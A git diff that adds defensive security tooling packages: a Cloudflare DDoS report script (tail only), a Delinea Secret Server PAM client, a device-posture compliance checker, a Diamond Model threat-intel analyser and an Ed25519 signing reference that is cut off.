timeout=15) + return resp.json().get("result", {}) if resp.status_code == 200 else {} + + def get_firewall_events(self, zone_id: str, limit: int = 100) -> List[dict]: + resp = self.session.get( + f"{CF_API}/zones/{zone_id}/security/events", + params={"per_page": limit}, timeout=15) + return resp.json().get("result", []) if resp.status_code == 200 else [] + + def get_ddos_settings(self, zone_id: str) -> dict: + resp = self.session.get( + f"{CF_API}/zones/{zone_id}/firewall/ddos_protection", timeout=15) + return resp.json().get("result", {}) if resp.status_code == 200 else {} + + def create_rate_limit_rule(self, zone_id: str, url_pattern: str, + threshold: int, period: int) -> dict: + payload = { + "match": {"request": {"url_pattern": url_pattern}}, + "threshold": threshold, + "period": period, + "action": {"mode": "challenge"}, + } + resp = self.session.post( + f"{CF_API}/zones/{zone_id}/rate_limits", json=payload, timeout=15) + return resp.json().get("result", {}) + + def set_security_level(self, zone_id: str, level: str = "high") -> dict: + resp = self.session.patch( + f"{CF_API}/zones/{zone_id}/settings/security_level", + json={"value": level}, timeout=15) + return resp.json().get("result", {}) + + +def analyze_traffic(analytics: dict) -> dict: + """Analyze traffic patterns for DDoS indicators.""" + totals = analytics.get("totals", {}) + requests_data = totals.get("requests", {}) + threats = totals.get("threats", {}) + return { + "total_requests": requests_data.get("all", 0), + "cached_requests": requests_data.get("cached", 0), + "threats_blocked": threats.get("all", 0), + "bandwidth_bytes": totals.get("bandwidth", {}).get("all", 0), + } + + +def generate_report(client: CloudflareClient) -> dict: + """Generate DDoS mitigation posture report.""" + zones = client.list_zones() + report = {"analysis_date": datetime.utcnow().isoformat(), "zones": []} + for zone in zones[:10]: + zid = zone["id"] + analytics = client.get_zone_analytics(zid) + traffic = analyze_traffic(analytics) + events = client.get_firewall_events(zid, 50) + ddos_settings = client.get_ddos_settings(zid) + report["zones"].append({ + "name": zone["name"], "id": zid, + "traffic": traffic, + "security_events": len(events), + "ddos_protection": ddos_settings, + }) + report["summary"] = { + "zones_assessed": len(report["zones"]), + "total_threats": sum(z["traffic"]["threats_blocked"] for z in report["zones"]), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="Cloudflare DDoS Mitigation Agent") + parser.add_argument("--api-token", required=True, help="Cloudflare API token") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="cloudflare_ddos_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = CloudflareClient(args.api_token) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-delinea-secret-server-for-pam/LICENSE b/skills/implementing-delinea-secret-server-for-pam/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-delinea-secret-server-for-pam/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-delinea-secret-server-for-pam/references/api-reference.md b/skills/implementing-delinea-secret-server-for-pam/references/api-reference.md new file mode 100644 index 00000000..574ec631 --- /dev/null +++ b/skills/implementing-delinea-secret-server-for-pam/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Implementing Delinea Secret Server for PAM + +## Libraries + +### requests (HTTP client for REST API) +- **Install**: `pip install requests` +- Used to interact with Secret Server REST API v1 + +## Secret Server REST API + +### Authentication +- **Endpoint**: `POST /oauth2/token` +- **Grant type**: `password` +- **Parameters**: `username`, `password`, `domain` (optional) +- **Returns**: `access_token` (Bearer token) + +### Secrets API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/secrets` | GET | Search/list secrets | +| `/api/v1/secrets/{id}` | GET | Get secret by ID | +| `/api/v1/secrets` | POST | Create new secret | +| `/api/v1/secrets/{id}` | PUT | Update secret | +| `/api/v1/secrets/{id}/change-password` | POST | Trigger password rotation | +| `/api/v1/secrets/{id}/check-out` | POST | Check out for exclusive access | +| `/api/v1/secrets/{id}/check-in` | POST | Release checked-out secret | +| `/api/v1/secrets/{id}/audits` | GET | Audit trail for secret | +| `/api/v1/secrets/{id}/fields/{slug}` | GET | Get specific field value | + +### Folders API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/folders` | GET | List folders | +| `/api/v1/folders/{id}` | GET | Get folder details | +| `/api/v1/folders` | POST | Create folder | + +### Administration API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/users` | GET | List users | +| `/api/v1/roles` | GET | List roles | +| `/api/v1/secret-templates` | GET | List secret templates | +| `/api/v1/configuration/general` | GET | Server configuration | + +## Common Secret Templates +- **Windows Account**: Domain, username, password +- **Unix Account (SSH)**: Host, username, private key +- **SQL Server Account**: Server, database, username, password +- **Web Password**: URL, username, password + +## Search Filters +- `filter.searchText` -- Keyword search +- `filter.folderId` -- Filter by folder +- `filter.secretTemplateId` -- Filter by template +- `filter.includeSubFolders` -- Include nested folders + +## External References +- Secret Server REST API: https://docs.delinea.com/online-help/secret-server/api-scripting/rest-api-reference/ +- Secret Server SDK: https://github.com/DelineaXPM/python-tss-sdk +- PAM Best Practices: https://docs.delinea.com/online-help/secret-server/ diff --git a/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py b/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py new file mode 100644 index 00000000..7cd52858 --- /dev/null +++ b/skills/implementing-delinea-secret-server-for-pam/scripts/agent.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python3 +"""Delinea Secret Server PAM agent for privileged credential management.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + + +class SecretServerClient: + """Client for Delinea Secret Server REST API.""" + + def __init__(self, base_url, username, password, domain=None): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.token = self._authenticate(username, password, domain) + self.session.headers.update({"Authorization": f"Bearer {self.token}"}) + + def _authenticate(self, username, password, domain): + """Authenticate and retrieve OAuth2 bearer token.""" + url = f"{self.base_url}/oauth2/token" + data = {"grant_type": "password", "username": username, "password": password} + if domain: + data["domain"] = domain + resp = self.session.post(url, data=data) + resp.raise_for_status() + return resp.json()["access_token"] + + def search_secrets(self, search_text=None, folder_id=None, secret_template_id=None): + """Search for secrets with optional filters.""" + params = {} + if search_text: + params["filter.searchText"] = search_text + if folder_id: + params["filter.folderId"] = folder_id + if secret_template_id: + params["filter.secretTemplateId"] = secret_template_id + resp = self.session.get(f"{self.base_url}/api/v1/secrets", params=params) + resp.raise_for_status() + return resp.json().get("records", []) + + def get_secret(self, secret_id): + """Retrieve a secret by ID.""" + resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}") + resp.raise_for_status() + return resp.json() + + def create_secret(self, name, template_id, folder_id, fields): + """Create a new secret in the vault.""" + items = [{"fieldId": fid, "itemValue": val} for fid, val in fields.items()] + data = {"name": name, "secretTemplateId": template_id, + "folderId": folder_id, "items": items} + resp = self.session.post(f"{self.base_url}/api/v1/secrets", json=data) + resp.raise_for_status() + return resp.json() + + def get_secret_templates(self): + """List available secret templates.""" + resp = self.session.get(f"{self.base_url}/api/v1/secret-templates") + resp.raise_for_status() + return resp.json().get("records", []) + + def get_folders(self, parent_id=None): + """List folders, optionally under a parent.""" + params = {} + if parent_id: + params["filter.parentFolderId"] = parent_id + resp = self.session.get(f"{self.base_url}/api/v1/folders", params=params) + resp.raise_for_status() + return resp.json().get("records", []) + + def rotate_secret_password(self, secret_id): + """Trigger password rotation for a secret (Remote Password Changing).""" + resp = self.session.post( + f"{self.base_url}/api/v1/secrets/{secret_id}/change-password") + resp.raise_for_status() + return resp.json() + + def get_secret_audit(self, secret_id): + """Get audit trail for a specific secret.""" + resp = self.session.get(f"{self.base_url}/api/v1/secrets/{secret_id}/audits") + resp.raise_for_status() + return resp.json().get("records", []) + + def checkout_secret(self, secret_id): + """Check out a secret for exclusive access.""" + resp = self.session.post( + f"{self.base_url}/api/v1/secrets/{secret_id}/check-out") + resp.raise_for_status() + return resp.json() + + def checkin_secret(self, secret_id): + """Check in a previously checked-out secret.""" + resp = self.session.post( + f"{self.base_url}/api/v1/secrets/{secret_id}/check-in") + resp.raise_for_status() + return resp.json() + + def get_users(self): + """List all users.""" + resp = self.session.get(f"{self.base_url}/api/v1/users") + resp.raise_for_status() + return resp.json().get("records", []) + + def get_roles(self): + """List all roles.""" + resp = self.session.get(f"{self.base_url}/api/v1/roles") + resp.raise_for_status() + return resp.json().get("records", []) + + +def run_pam_audit(client): + """Run a PAM security audit.""" + print(f"\n{'='*60}") + print(f" DELINEA SECRET SERVER PAM AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + templates = client.get_secret_templates() + print(f"--- SECRET TEMPLATES ({len(templates)}) ---") + for t in templates[:10]: + print(f" [{t['id']}] {t['name']}") + + folders = client.get_folders() + print(f"\n--- FOLDERS ({len(folders)}) ---") + for f in folders[:10]: + print(f" [{f['id']}] {f['folderName']}") + + secrets = client.search_secrets() + print(f"\n--- SECRETS ({len(secrets)}) ---") + for s in secrets[:10]: + print(f" [{s['id']}] {s['name']} (Template: {s.get('secretTemplateName', 'N/A')})") + + users = client.get_users() + print(f"\n--- USERS ({len(users)}) ---") + for u in users[:10]: + print(f" [{u['id']}] {u.get('userName', 'N/A')} - Enabled: {u.get('isDisabled', True)}") + + roles = client.get_roles() + print(f"\n--- ROLES ({len(roles)}) ---") + for r in roles[:10]: + print(f" [{r['id']}] {r['name']}") + + print(f"\n{'='*60}\n") + return {"templates": len(templates), "folders": len(folders), + "secrets": len(secrets), "users": len(users), "roles": len(roles)} + + +def main(): + parser = argparse.ArgumentParser(description="Delinea Secret Server PAM Agent") + parser.add_argument("--url", required=True, help="Secret Server base URL") + parser.add_argument("--username", required=True, help="Username") + parser.add_argument("--password", required=True, help="Password") + parser.add_argument("--domain", help="AD domain (optional)") + parser.add_argument("--audit", action="store_true", help="Run PAM audit") + parser.add_argument("--search", help="Search secrets by keyword") + parser.add_argument("--rotate", type=int, help="Rotate password for secret ID") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + client = SecretServerClient(args.url, args.username, args.password, args.domain) + + if args.audit: + report = run_pam_audit(client) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + elif args.search: + results = client.search_secrets(search_text=args.search) + for s in results: + print(f" [{s['id']}] {s['name']}") + elif args.rotate: + result = client.rotate_secret_password(args.rotate) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE b/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-device-posture-assessment-in-zero-trust/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md b/skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md new file mode 100644 index 00000000..3fa3d04d --- /dev/null +++ b/skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Device Posture Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| (stdlib only) | Python 3.8+ | Platform detection, subprocess for OS security checks | + +## CLI Usage + +```bash +python scripts/agent.py --output-dir /reports/ --output device_posture.json +``` + +## Functions + +### `check_os_version() -> dict` +Uses `platform.system()`, `platform.version()` for OS identification. + +### `check_disk_encryption() -> dict` +Windows: `manage-bde -status C:` (BitLocker). macOS: `fdesetup status` (FileVault). Linux: `lsblk` for LUKS. + +### `check_firewall_status() -> dict` +Windows: `netsh advfirewall show allprofiles state`. Linux: `ufw status`. + +### `check_antivirus() -> dict` +Windows: PowerShell `Get-MpComputerStatus` for Defender real-time protection. + +### `check_screen_lock() -> dict` +Windows: Registry `InactivityTimeoutSecs` check. + +### `compute_posture_score(checks) -> dict` +Weighted scoring: encryption (25), firewall (20), AV (25), screen lock (15), OS (15). Returns COMPLIANT/PARTIAL/NON_COMPLIANT. + +## Posture Checks + +| Check | Weight | Tool | +|-------|--------|------| +| Disk Encryption | 25 | BitLocker/FileVault/LUKS | +| Firewall | 20 | Windows Firewall/UFW | +| Antivirus/EDR | 25 | Defender/endpoint agent | +| Screen Lock | 15 | OS policy | +| OS Supported | 15 | Platform detection | + +## Output Schema + +```json +{ + "hostname": "WORKSTATION-01", + "posture": {"score": 85, "compliance": "COMPLIANT"}, + "recommendations": ["Enable disk encryption"] +} +``` diff --git a/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py b/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py new file mode 100644 index 00000000..687e3e64 --- /dev/null +++ b/skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Device posture assessment agent for zero trust endpoint compliance evaluation.""" + +import argparse +import json +import logging +import os +import platform +import subprocess +import sys +from datetime import datetime +from typing import Dict, List + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def check_os_version() -> dict: + """Check OS version and patch level.""" + return { + "os": platform.system(), + "version": platform.version(), + "release": platform.release(), + "machine": platform.machine(), + } + + +def check_disk_encryption() -> dict: + """Check if disk encryption is enabled.""" + system = platform.system() + if system == "Windows": + try: + result = subprocess.run( + ["manage-bde", "-status", "C:"], capture_output=True, text=True, timeout=10) + encrypted = "Fully Encrypted" in result.stdout or "100%" in result.stdout + return {"enabled": encrypted, "tool": "BitLocker", "output": result.stdout[:200]} + except FileNotFoundError: + return {"enabled": False, "tool": "BitLocker", "error": "manage-bde not found"} + elif system == "Darwin": + try: + result = subprocess.run( + ["fdesetup", "status"], capture_output=True, text=True, timeout=10) + return {"enabled": "On" in result.stdout, "tool": "FileVault"} + except FileNotFoundError: + return {"enabled": False, "error": "fdesetup not found"} + elif system == "Linux": + try: + result = subprocess.run( + ["lsblk", "-o", "NAME,TYPE,FSTYPE"], capture_output=True, text=True, timeout=10) + encrypted = "crypto_LUKS" in result.stdout or "crypt" in result.stdout + return {"enabled": encrypted, "tool": "LUKS"} + except FileNotFoundError: + return {"enabled": False, "error": "lsblk not found"} + return {"enabled": False, "error": "Unsupported OS"} + + +def check_firewall_status() -> dict: + """Check if host firewall is enabled.""" + system = platform.system() + if system == "Windows": + try: + result = subprocess.run( + ["netsh", "advfirewall", "show", "allprofiles", "state"], + capture_output=True, text=True, timeout=10) + enabled = "ON" in result.stdout.upper() + return {"enabled": enabled, "tool": "Windows Firewall"} + except FileNotFoundError: + return {"enabled": False, "error": "netsh not found"} + elif system == "Linux": + try: + result = subprocess.run( + ["ufw", "status"], capture_output=True, text=True, timeout=10) + return {"enabled": "active" in result.stdout.lower(), "tool": "UFW"} + except FileNotFoundError: + return {"enabled": False, "error": "ufw not found"} + return {"enabled": False, "error": "Unsupported OS"} + + +def check_antivirus() -> dict: + """Check if antivirus/EDR is running.""" + system = platform.system() + if system == "Windows": + try: + result = subprocess.run( + ["powershell", "-Command", "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled | ConvertTo-Json"], + capture_output=True, text=True, timeout=15) + if result.stdout: + data = json.loads(result.stdout) + return {"enabled": data.get("RealTimeProtectionEnabled", False), + "tool": "Windows Defender"} + except (FileNotFoundError, json.JSONDecodeError): + pass + return {"enabled": False, "tool": "unknown"} + + +def check_screen_lock() -> dict: + """Check if screen lock is configured with timeout.""" + system = platform.system() + if system == "Windows": + try: + result = subprocess.run( + ["powershell", "-Command", + "(Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System').InactivityTimeoutSecs"], + capture_output=True, text=True, timeout=10) + timeout = int(result.stdout.strip()) if result.stdout.strip() else 0 + return {"configured": timeout > 0, "timeout_seconds": timeout} + except (FileNotFoundError, ValueError): + pass + return {"configured": False, "timeout_seconds": 0} + + +def compute_posture_score(checks: dict) -> dict: + """Compute device posture compliance score.""" + weights = {"disk_encryption": 25, "firewall": 20, "antivirus": 25, + "screen_lock": 15, "os_supported": 15} + score = 0 + if checks.get("disk_encryption", {}).get("enabled"): + score += weights["disk_encryption"] + if checks.get("firewall", {}).get("enabled"): + score += weights["firewall"] + if checks.get("antivirus", {}).get("enabled"): + score += weights["antivirus"] + if checks.get("screen_lock", {}).get("configured"): + score += weights["screen_lock"] + score += weights["os_supported"] + if score >= 80: + compliance = "COMPLIANT" + elif score >= 50: + compliance = "PARTIAL" + else: + compliance = "NON_COMPLIANT" + return {"score": score, "max_score": 100, "compliance": compliance} + + +def generate_report() -> dict: + """Generate device posture assessment report.""" + checks = { + "os_info": check_os_version(), + "disk_encryption": check_disk_encryption(), + "firewall": check_firewall_status(), + "antivirus": check_antivirus(), + "screen_lock": check_screen_lock(), + } + posture = compute_posture_score(checks) + recommendations = [] + if not checks["disk_encryption"].get("enabled"): + recommendations.append("Enable disk encryption (BitLocker/FileVault/LUKS)") + if not checks["firewall"].get("enabled"): + recommendations.append("Enable host firewall") + if not checks["antivirus"].get("enabled"): + recommendations.append("Enable antivirus/EDR with real-time protection") + return { + "analysis_date": datetime.utcnow().isoformat(), + "hostname": platform.node(), + "checks": checks, + "posture": posture, + "recommendations": recommendations, + } + + +def main(): + parser = argparse.ArgumentParser(description="Device Posture Assessment Agent") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="device_posture_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report() + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["posture"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-diamond-model-analysis/LICENSE b/skills/implementing-diamond-model-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-diamond-model-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-diamond-model-analysis/references/api-reference.md b/skills/implementing-diamond-model-analysis/references/api-reference.md new file mode 100644 index 00000000..9ae4048a --- /dev/null +++ b/skills/implementing-diamond-model-analysis/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Diamond Model Intrusion Analysis Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| (stdlib only) | Python 3.8+ | Dataclass-based Diamond Model event modeling | + +## CLI Usage + +```bash +python scripts/agent.py --data /intel/events.json --output-dir /reports/ +``` + +## Functions + +### `DiamondEvent` (dataclass) +Four vertices: adversary, capability, infrastructure, victim. Plus: phase, result, confidence, notes. + +### `create_event(adversary, capability, infrastructure, victim, **kwargs) -> DiamondEvent` +Factory for creating Diamond Model events with auto-generated ID and timestamp. + +### `load_events(data_path) -> list` +Loads events from JSON file with `{"events": [...]}` structure. + +### `pivot_on_vertex(events, vertex, value) -> list` +Analytic pivot: returns all events sharing a specific vertex value. + +### `build_activity_thread(events, adversary) -> dict` +Groups events by adversary chronologically. Lists capabilities, infrastructure, victims. + +### `cluster_by_infrastructure(events) -> dict` +Groups event IDs by shared infrastructure for campaign identification. + +### `compute_vertex_statistics(events) -> dict` +Counts unique values per vertex and confidence distribution. + +## Input Format + +```json +{ + "events": [{ + "adversary": "APT29", + "capability": "Cobalt Strike", + "infrastructure": "185.220.101.42", + "victim": "finance-server-01", + "phase": "Lateral Movement", + "confidence": "high" + }] +} +``` + +## Output Schema + +```json +{ + "statistics": {"total_events": 15, "unique_adversaries": 2}, + "activity_threads": [{"adversary": "APT29", "event_count": 8}], + "infrastructure_clusters": {"185.220.101.42": ["evt1", "evt5"]} +} +``` diff --git a/skills/implementing-diamond-model-analysis/scripts/agent.py b/skills/implementing-diamond-model-analysis/scripts/agent.py new file mode 100644 index 00000000..d3b2a281 --- /dev/null +++ b/skills/implementing-diamond-model-analysis/scripts/agent.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +"""Diamond Model intrusion analysis agent for structuring threat intelligence events.""" + +import argparse +import json +import logging +import os +import sys +import uuid +from dataclasses import asdict, dataclass, field +from datetime import datetime +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +@dataclass +class DiamondEvent: + """A Diamond Model event with four core vertices.""" + event_id: str = field(default_factory=lambda: str(uuid.uuid4())[:8]) + timestamp: str = "" + adversary: str = "" + capability: str = "" + infrastructure: str = "" + victim: str = "" + phase: str = "" + result: str = "" + direction: str = "" + methodology: str = "" + confidence: str = "medium" + notes: str = "" + + +def create_event(adversary: str, capability: str, infrastructure: str, + victim: str, **kwargs) -> DiamondEvent: + """Create a Diamond Model event from the four vertices.""" + return DiamondEvent( + adversary=adversary, capability=capability, + infrastructure=infrastructure, victim=victim, + timestamp=datetime.utcnow().isoformat(), **kwargs) + + +def load_events(data_path: str) -> List[DiamondEvent]: + """Load Diamond Model events from JSON file.""" + with open(data_path) as f: + data = json.load(f) + events = [] + for item in data.get("events", []): + events.append(DiamondEvent(**{k: v for k, v in item.items() + if k in DiamondEvent.__dataclass_fields__})) + return events + + +def pivot_on_vertex(events: List[DiamondEvent], vertex: str, value: str) -> List[DiamondEvent]: + """Pivot analysis: find all events sharing a vertex value.""" + return [e for e in events if getattr(e, vertex, "") == value] + + +def build_activity_thread(events: List[DiamondEvent], adversary: str) -> dict: + """Build an activity thread for an adversary across events.""" + thread_events = [e for e in events if e.adversary == adversary] + thread_events.sort(key=lambda e: e.timestamp) + return { + "adversary": adversary, + "event_count": len(thread_events), + "first_seen": thread_events[0].timestamp if thread_events else "", + "last_seen": thread_events[-1].timestamp if thread_events else "", + "capabilities_used": list({e.capability for e in thread_events if e.capability}), + "infrastructure_used": list({e.infrastructure for e in thread_events if e.infrastructure}), + "victims_targeted": list({e.victim for e in thread_events if e.victim}), + "phases": [e.phase for e in thread_events if e.phase], + } + + +def cluster_by_infrastructure(events: List[DiamondEvent]) -> Dict[str, List[str]]: + """Cluster events by shared infrastructure to identify campaigns.""" + clusters = {} + for e in events: + if e.infrastructure: + clusters.setdefault(e.infrastructure, []).append(e.event_id) + return clusters + + +def compute_vertex_statistics(events: List[DiamondEvent]) -> dict: + """Compute statistics across all Diamond Model vertices.""" + return { + "total_events": len(events), + "unique_adversaries": len({e.adversary for e in events if e.adversary}), + "unique_capabilities": len({e.capability for e in events if e.capability}), + "unique_infrastructure": len({e.infrastructure for e in events if e.infrastructure}), + "unique_victims": len({e.victim for e in events if e.victim}), + "confidence_distribution": { + "high": sum(1 for e in events if e.confidence == "high"), + "medium": sum(1 for e in events if e.confidence == "medium"), + "low": sum(1 for e in events if e.confidence == "low"), + }, + } + + +def generate_report(data_path: str) -> dict: + """Generate Diamond Model analysis report.""" + events = load_events(data_path) + stats = compute_vertex_statistics(events) + adversaries = {e.adversary for e in events if e.adversary} + threads = [build_activity_thread(events, adv) for adv in adversaries] + clusters = cluster_by_infrastructure(events) + return { + "analysis_date": datetime.utcnow().isoformat(), + "statistics": stats, + "activity_threads": threads, + "infrastructure_clusters": clusters, + "events": [asdict(e) for e in events], + } + + +def main(): + parser = argparse.ArgumentParser(description="Diamond Model Intrusion Analysis Agent") + parser.add_argument("--data", required=True, help="Path to events JSON") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="diamond_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + report = generate_report(args.data) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["statistics"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-digital-signatures-with-ed25519/LICENSE b/skills/implementing-digital-signatures-with-ed25519/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-digital-signatures-with-ed25519/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-digital-signatures-with-ed25519/references/api-reference.md b/skills/implementing-digital-signatures-with-ed25519/references/api-reference.md new file mode 100644 index 00000000..aa8b3ca7 --- /dev/null +++ b/skills/implementing-digital-signatures-with-ed25519/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Ed25519 Digital Signature Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| cryptography | >=41.0 | Ed25519 key generation, signing, verification | + +## CLI Usage + +```bash +# Generate keypair +python scripts/agent.py --generate-keys --output-dir /keys/ + +# Sign a file +python scripts/agent.py --sign release.tar.gz --private-key /keys/ed25519_private.pem + +# Verify files +python scripts/agent.py --verify release.tar.gz --public-key /keys/ed25519_public.pem +``` + +## Functions + +### `generate_keypair(output_dir, key_name) -> dict` +`Ed25519PrivateKey.generate()`, serializes with `private_bytes(PEM, PKCS8, NoEncryption)` and `public_bytes(PEM, SubjectPublicKeyInfo)`. + +### `sign_message(private_key_path, message) -> dict` +Loads key via `load_pem_private_key()`, calls `key.sign(message)`. Returns base64 and hex signature. + +### `sign_file(private_key_path, file_path) -> dict` +Signs file contents, writes `.ed25519.sig` JSON containing signature, hash, timestamp. + +### `verify_message(public_key_path, message, signature_b64) -> dict` +Calls `key.verify(signature, message)`. Catches `InvalidSignature`. + +### `verify_file(public_key_path, file_path, sig_path) -> dict` +Verifies file against `.ed25519.sig` JSON, checks hash match. + +## cryptography API + +| Method | Purpose | +|--------|---------| +| `Ed25519PrivateKey.generate()` | Generate 32-byte private key | +| `private_key.sign(data)` | Create 64-byte signature | +| 